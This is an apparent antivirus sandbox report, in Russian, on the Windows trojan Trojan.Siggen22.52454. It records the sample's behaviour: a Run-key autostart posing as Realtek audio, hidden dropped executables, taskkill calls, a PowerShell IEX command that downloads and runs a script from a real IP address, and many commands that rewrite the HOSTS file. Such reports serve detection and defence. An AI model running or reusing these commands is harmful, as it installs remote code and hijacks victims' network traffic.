Trojan.Siggen22.52454

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'RealtekUA Audio' = '%ALLUSERSPROFILE%\RealtekUA\taskhostw.exe'

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\taskkill.exe' /im taskhostw.exe /f
'%WINDIR%\syswow64\taskkill.exe' /im taskhost.exe /f

Загружает

http://45.58.190.125/p2.txt

Завершает или пытается завершить

следующие системные процессы:

<SYSTEM32>\taskhost.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\nsd6642.tmp\inetc.dll
%ALLUSERSPROFILE%\realtekua\taskhostw.exe
%TEMP%\aut8cc4.tmp
%ALLUSERSPROFILE%\realtekua\taskhost.exe

Присваивает атрибут 'скрытый' для следующих файлов

%ALLUSERSPROFILE%\realtekua\taskhostw.exe
%ALLUSERSPROFILE%\realtekua\taskhost.exe

Удаляет следующие файлы

%TEMP%\nsd6642.tmp\inetc.dll
%TEMP%\aut8cc4.tmp

Изменяет файл HOSTS.

Сетевая активность

Подключается к

'45.##.190.125':80

TCP

Запросы HTTP GET

http://45.##.190.125/tw.jpg
http://45.##.190.125/p2.txt

Другое

Ищет следующие окна

ClassName: '' WindowName: ''

Создает и запускает на исполнение

'%ALLUSERSPROFILE%\realtekua\taskhostw.exe'
'%ALLUSERSPROFILE%\realtekua\taskhost.exe'
'%WINDIR%\syswow64\cmd.exe' cmd.exe /c mkdir %ALLUSERSPROFILE%\RealtekUA' (со скрытым окном)
'%ALLUSERSPROFILE%\realtekua\taskhostw.exe' ' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' cmd.exe /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://45.58.190.125/p2.txt')' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' cmd.exe /c mkdir %ALLUSERSPROFILE%\RealtekUA
'%WINDIR%\syswow64\cmd.exe' /c taskkill /im taskhostw.exe /f
'%WINDIR%\syswow64\attrib.exe' <DRIVERS>\etc\hosts +s +h +r
'%WINDIR%\syswow64\cmd.exe' /c attrib <DRIVERS>\etc\hosts +s +h +r
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 stcubegames.netxi.in>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 winibackup.club>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 winibackup98.club>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 wmiprvse.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 conhostex.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 proxyvpn.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 fontdrvhost.ru>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 wlanext.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 winhost.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 spoolsv.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 runtimebroker.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c taskkill /im taskhost.exe /f
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 nvcontainer.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 rundll.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 unsecapp.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 taskmgr.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 ftpsystem.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 45.58.189.235 conhostservice.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 qmos.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 etmos.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 ermos.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 ewmos.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 eqmos.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\attrib.exe' <DRIVERS>\etc\hosts -s -h -r
'%WINDIR%\syswow64\cmd.exe' /c attrib <DRIVERS>\etc\hosts -s -h -r
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' cmd /c attrib <DRIVERS>\etc\hosts -s -h -r cmd /c echo 152.89.218.23 eqmos.xyz>><DRIVERS>\etc\hosts cmd /c echo 152.89.218.23 ewmos.xyz>><DRIVERS>\etc\hosts cmd /c echo 152.89.218.23 ermos.x...
'%WINDIR%\syswow64\cmd.exe' cmd.exe /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://45.58.190.125/p2.txt')
'%WINDIR%\syswow64\cmd.exe' /c echo 152.89.218.23 ex22cheap.xyz>><DRIVERS>\etc\hosts
'%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\RealtekUA\taskhostw.exe